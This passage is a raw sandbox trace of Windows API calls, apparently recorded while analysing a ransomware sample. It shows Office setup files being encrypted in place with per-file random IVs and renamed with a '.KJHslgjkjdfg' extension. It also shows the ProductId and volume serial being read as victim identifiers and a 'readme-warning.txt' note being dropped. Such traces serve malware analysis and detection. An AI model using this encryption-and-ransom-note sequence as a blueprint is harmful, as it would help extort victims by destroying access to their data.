GetProcessHeap () returned 0x2a0000 [0143.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.853] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.853] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.853] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.856] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.856] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.856] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.856] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.856] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.856] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.856] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.856] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.856] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x750, lpOverlapped=0x0) returned 1 [0143.856] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x750, dwBufLen=0x750 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x750) returned 1 [0143.856] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.856] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x750, lpOverlapped=0x0) returned 1 [0143.857] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.857] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.857] SetEndOfFile (hFile=0x13c) returned 1 [0143.859] GetProcessHeap () returned 0x2a0000 [0143.859] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.860] GetProcessHeap () returned 0x2a0000 [0143.860] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0143.869] CloseHandle (hObject=0x13c) returned 1 [0143.869] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0143.869] GetProcessHeap () returned 0x2a0000 [0143.869] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.869] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.869] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.869] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.869] GetProcessHeap () returned 0x2a0000 [0143.869] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.869] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.869] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.870] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.870] GetProcessHeap () returned 0x2a0000 [0143.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a08 [0143.870] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.870] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a08, pdwDataLen=0x290eb98 | out: pbData=0x2f7a08, pdwDataLen=0x290eb98) returned 1 [0143.870] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.870] GetProcessHeap () returned 0x2a0000 [0143.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.870] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.870] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.870] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.870] GetProcessHeap () returned 0x2a0000 [0143.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.870] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.870] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.870] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.870] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.871] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.871] RegCloseKey (hKey=0x13c) returned 0x0 [0143.871] GetProcessHeap () returned 0x2a0000 [0143.871] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.871] GetProcessHeap () returned 0x2a0000 [0143.871] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.871] GetProcessHeap () returned 0x2a0000 [0143.871] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.871] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.871] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.871] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.871] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.871] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.871] GetProcessHeap () returned 0x2a0000 [0143.871] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.872] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.872] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.872] GetProcessHeap () returned 0x2a0000 [0143.872] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd0 [0143.872] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\readme-warning.txt") returned 112 [0143.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.875] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.876] CloseHandle (hObject=0x13c) returned 1 [0143.877] GetProcessHeap () returned 0x2a0000 [0143.877] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a08 | out: hHeap=0x2a0000) returned 1 [0143.877] GetProcessHeap () returned 0x2a0000 [0143.877] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd0 | out: hHeap=0x2a0000) returned 1 [0143.877] GetProcessHeap () returned 0x2a0000 [0143.877] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.877] GetProcessHeap () returned 0x2a0000 [0143.877] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.877] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.877] GetProcessHeap () returned 0x2a0000 [0143.877] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.877] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0143.877] GetProcessHeap () returned 0x2a0000 [0143.877] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc2) returned 0x2ed148 [0143.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.879] GetProcessHeap () returned 0x2a0000 [0143.879] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.879] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0143.879] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0143.879] GetProcessHeap () returned 0x2a0000 [0143.879] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c4) returned 0x2f7730 [0143.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.879] GetProcessHeap () returned 0x2a0000 [0143.879] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.879] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.879] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.879] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xd, lpOverlapped=0x0) returned 1 [0143.882] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.882] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.882] GetProcessHeap () returned 0x2a0000 [0143.882] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.882] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.882] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.882] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.882] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.882] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.883] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.883] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.883] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.883] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.883] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.883] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x543, lpOverlapped=0x0) returned 1 [0143.883] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x550, dwBufLen=0x550 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x550) returned 1 [0143.883] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.883] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x550, lpOverlapped=0x0) returned 1 [0143.883] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.883] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.883] SetEndOfFile (hFile=0x13c) returned 1 [0143.886] GetProcessHeap () returned 0x2a0000 [0143.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.886] GetProcessHeap () returned 0x2a0000 [0143.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.886] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.kjhslgjkjdfg")) returned 1 [0143.887] CloseHandle (hObject=0x13c) returned 1 [0143.887] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0143.887] GetProcessHeap () returned 0x2a0000 [0143.887] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.887] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.887] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.888] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.888] GetProcessHeap () returned 0x2a0000 [0143.888] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.888] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.888] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.888] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.888] GetProcessHeap () returned 0x2a0000 [0143.888] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a00 [0143.888] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.888] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a00, pdwDataLen=0x290eb98 | out: pbData=0x2f7a00, pdwDataLen=0x290eb98) returned 1 [0143.888] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.888] GetProcessHeap () returned 0x2a0000 [0143.888] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.888] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.888] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.888] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.888] GetProcessHeap () returned 0x2a0000 [0143.888] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.888] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.888] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.888] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.889] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.889] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.889] RegCloseKey (hKey=0x13c) returned 0x0 [0143.889] GetProcessHeap () returned 0x2a0000 [0143.889] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.889] GetProcessHeap () returned 0x2a0000 [0143.889] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.889] GetProcessHeap () returned 0x2a0000 [0143.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.889] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.889] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.889] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.889] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.889] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.890] GetProcessHeap () returned 0x2a0000 [0143.890] HeapFree (in: hHeap=0x2a0000, 